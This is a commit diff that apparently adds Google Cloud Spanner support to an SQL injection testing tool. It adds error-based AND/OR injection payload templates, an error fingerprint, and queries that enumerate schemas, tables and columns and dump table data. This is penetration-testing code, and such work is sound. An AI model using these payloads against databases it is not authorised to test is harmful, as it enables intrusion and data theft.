Adding support for Spanner DBMS (#6025)

Author: stamparm

data/xml/errors.xml

@@ -245,4 +245,8 @@
         <error regexp="000904 \(42000\):"/>
         <error regexp="SQL compilation error: (syntax )?error line \d+ at position \d+"/>
     </dbms>
+
+    <dbms value="Spanner">
+        <error regexp="type.googleapis.com/zetasql.ErrorMessageModeForPayload"/>
+    </dbms>
 </root>

data/xml/payloads/error_based.xml

@@ -911,6 +911,43 @@
         </details>
     </test>
 
+    <test>
+        <title>Spanner AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>1,2,3,8,9</clause>
+        <where>1</where>
+        <vector>AND ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL</vector>
+        <request>
+            <payload>AND ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Spanner</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>Spanner OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
+        <stype>2</stype>
+        <level>5</level>
+        <risk>3</risk>
+        <clause>1,2,3,8,9</clause>
+        <where>1</where>
+        <vector>OR ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL</vector>
+        <request>
+            <payload>OR ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL</payload>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Spanner</dbms>
+        </details>
+    </test>
     <!--
          TODO: if possible, add payload for SQLite, Microsoft Access,
          and SAP MaxDB - no known techniques at this time

data/xml/queries.xml

@@ -1843,4 +1843,67 @@
         <search_table/>
         <search_column/>
     </dbms>
+
+    <dbms value="Spanner">
+        <cast query="CAST(%s AS STRING)"/>
+        <length query="CHAR_LENGTH(CAST(%s AS STRING))"/>
+        <isnull query="IFNULL(CAST(%s AS STRING),' ')"/>
+        <delimiter query="||"/>
+        <limit query="LIMIT %d OFFSET %d"/>
+        <limitregexp query="\s+LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
+        <limitgroupstart query="2"/>
+        <limitgroupstop query="1"/>
+        <limitstring query=" OFFSET "/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <comment query="--" query2="#"/>
+        <substring query="SUBSTR(CAST((%s) AS STRING),%d,%d)"/>
+        <concatenate query="%s||%s"/>
+        <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
+        <hex query="TO_HEX(CAST(%s AS BYTES))"/>
+        <inference query="TO_CODE_POINTS(SUBSTR(CAST((%s) AS STRING),%d,1))[SAFE_OFFSET(0)]>%d"/>
+        <banner query="'Google Cloud Spanner'"/>
+        <current_user/>
+        <current_db/>
+        <hostname/>
+        <table_comment/>
+        <column_comment/>
+        <is_dba/>
+        <users/>
+        <passwords/>
+        <privileges/>
+        <roles/>
+        <statements>
+            <inband query="SELECT text FROM SPANNER_SYS.QUERY_STATS_TOP_MINUTE"/>
+            <blind query="SELECT text FROM SPANNER_SYS.QUERY_STATS_TOP_MINUTE" count="SELECT COUNT(text) FROM SPANNER_SYS.QUERY_STATS_TOP_MINUTE"/>
+        </statements>
+        <dbs>
+            <inband query="SELECT CASE schema_name WHEN '' THEN 'default' ELSE schema_name END FROM INFORMATION_SCHEMA.SCHEMATA"/>
+            <blind query="SELECT CASE schema_name WHEN '' THEN 'default' ELSE schema_name END FROM INFORMATION_SCHEMA.SCHEMATA GROUP BY schema_name ORDER BY schema_name LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT schema_name) FROM INFORMATION_SCHEMA.SCHEMATA"/>
+        </dbs>
+        <tables>
+            <inband query="SELECT CASE table_schema WHEN '' THEN 'default' ELSE table_schema END,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
+            <blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END ORDER BY table_name" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END"/>
+        </tables>
+        <columns>
+            <inband query="SELECT column_name,spanner_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END" condition="column_name"/>
+            <blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END ORDER BY column_name" query2="SELECT spanner_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END" condition="column_name"/>
+        </columns>
+        <dump_table>
+            <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
+        </dump_table>
+        <search_db>
+            <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
+            <blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s ORDER BY schema_name" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
+        </search_db>
+        <search_table>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
+            <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s ORDER BY table_schema" query2="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
+        </search_table>
+        <search_column>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
+            <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s ORDER BY table_schema" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
+        </search_column>
+    </dbms>
 </root>

lib/controller/handler.py

@@ -42,6 +42,7 @@
 from lib.core.settings import VERTICA_ALIASES
 from lib.core.settings import VIRTUOSO_ALIASES
 from lib.core.settings import SNOWFLAKE_ALIASES
+from lib.core.settings import SPANNER_ALIASES
 from lib.utils.sqlalchemy import SQLAlchemy
 
 from plugins.dbms.access import AccessMap
@@ -73,6 +74,7 @@
 from plugins.dbms.vertica import VerticaMap
 from plugins.dbms.virtuoso import VirtuosoMap
 from plugins.dbms.snowflake import SnowflakeMap
+from plugins.dbms.spanner import SpannerMap
 
 def setHandler():
     """
@@ -110,6 +112,7 @@ def setHandler():
         (DBMS.RAIMA, RAIMA_ALIASES, RaimaMap, "plugins.dbms.raima.connector"),
         (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, "plugins.dbms.virtuoso.connector"),
         (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES, SnowflakeMap, "plugins.dbms.snowflake.connector"),
+        (DBMS.SPANNER, SPANNER_ALIASES, SpannerMap, "plugins.dbms.spanner.connector"),
     ]
 
     _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)

lib/core/agent.py

@@ -410,6 +410,9 @@ def adjustLateValues(self, payload):
         """
 
         if payload:
+            if Backend.isDbms(DBMS.SPANNER):
+                payload = payload.replace(" FROM default.", " FROM ").replace(" FROM `default`.", " FROM ")
+
             for match in re.finditer(r"(?s)%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
                 _ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
                 payload = payload.replace(match.group(0), _)
@@ -724,7 +727,7 @@ def concatQuery(self, query, unpack=True):
             elif fieldsNoSelect:
                 concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
 
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.SPANNER):
             if fieldsExists:
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                 concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -1045,7 +1048,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None):
             limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
             limitedQuery += " %s" % limitStr
 
-        elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE):
+        elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER):
             limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
             limitedQuery += " %s" % limitStr
 

lib/core/common.py

@@ -4298,7 +4298,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
             if not conf.noEscape:
                 retVal = unsafeSQLIdentificatorNaming(retVal)
 
-                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):  # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
+                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER):  # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
                     retVal = "`%s`" % retVal
                 elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE):
                     retVal = "\"%s\"" % retVal
@@ -4337,7 +4337,7 @@ def unsafeSQLIdentificatorNaming(name):
     retVal = name
 
     if isinstance(name, six.string_types):
-        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):
+        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER):
             retVal = name.replace("`", "")
         elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE):
             retVal = name.replace("\"", "")

lib/core/dicts.py

@@ -40,6 +40,7 @@
 from lib.core.settings import VIRTUOSO_ALIASES
 from lib.core.settings import CLICKHOUSE_ALIASES
 from lib.core.settings import SNOWFLAKE_ALIASES
+from lib.core.settings import SPANNER_ALIASES
 
 FIREBIRD_TYPES = {
     261: "BLOB",
@@ -252,6 +253,7 @@
     DBMS.RAIMA: (RAIMA_ALIASES, None, None, None),
     DBMS.VIRTUOSO: (VIRTUOSO_ALIASES, None, None, None),
     DBMS.SNOWFLAKE: (SNOWFLAKE_ALIASES, None, None, "snowflake"),
+    DBMS.SPANNER: (SPANNER_ALIASES, None, None, "spanner"),
 }
 
 # Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
@@ -292,6 +294,7 @@
     DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)",
     DBMS.CLICKHOUSE: "halfMD5(NULL)",
     DBMS.SNOWFLAKE: "BOOLNOT(NULL)",
+    DBMS.SPANNER: "FARM_FINGERPRINT(NULL)",
 }
 
 SQL_STATEMENTS = {

lib/core/enums.py

@@ -61,6 +61,7 @@ class DBMS(object):
     RAIMA = "Raima Database Manager"
     VIRTUOSO = "Virtuoso"
     SNOWFLAKE = "Snowflake"
+    SPANNER = "Spanner"
 
 class DBMS_DIRECTORY_NAME(object):
     ACCESS = "access"
@@ -92,6 +93,7 @@ class DBMS_DIRECTORY_NAME(object):
     RAIMA = "raima"
     VIRTUOSO = "virtuoso"
     SNOWFLAKE = "snowflake"
+    SPANNER = "spanner"
 
 class FORK(object):
     MARIADB = "MariaDB"

lib/core/settings.py

@@ -298,6 +298,7 @@
 RAIMA_SYSTEM_DBS = ("",)
 VIRTUOSO_SYSTEM_DBS = ("",)
 SNOWFLAKE_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
+SPANNER_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SPANNER_SYS")
 
 # Note: (<regular>) + (<forks>)
 MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
@@ -329,13 +330,14 @@
 RAIMA_ALIASES = ("raima database manager", "raima", "raimadb", "raimadm", "rdm", "rds", "velocis")
 VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso")
 SNOWFLAKE_ALIASES = ("snowflake",)
+SPANNER_ALIASES = ("spanner", "google cloud spanner", "google spanner")
 
 DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
 
-SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES)
+SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES + SPANNER_ALIASES)
 SUPPORTED_OS = ("linux", "windows")
 
-DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES))
+DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES), (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES), (DBMS.SPANNER, SPANNER_ALIASES))
 
 USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
 REFERER_ALIASES = ("ref", "referer", "referrer")
@@ -349,6 +351,7 @@
 VERTICA_DEFAULT_SCHEMA = "public"
 MCKOI_DEFAULT_SCHEMA = "APP"
 CACHE_DEFAULT_SCHEMA = "SQLUser"
+SPANNER_DEFAULT_SCHEMA = "default"
 
 # DBMSes where OFFSET mechanism starts from 1
 PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.MSSQL, DBMS.CACHE))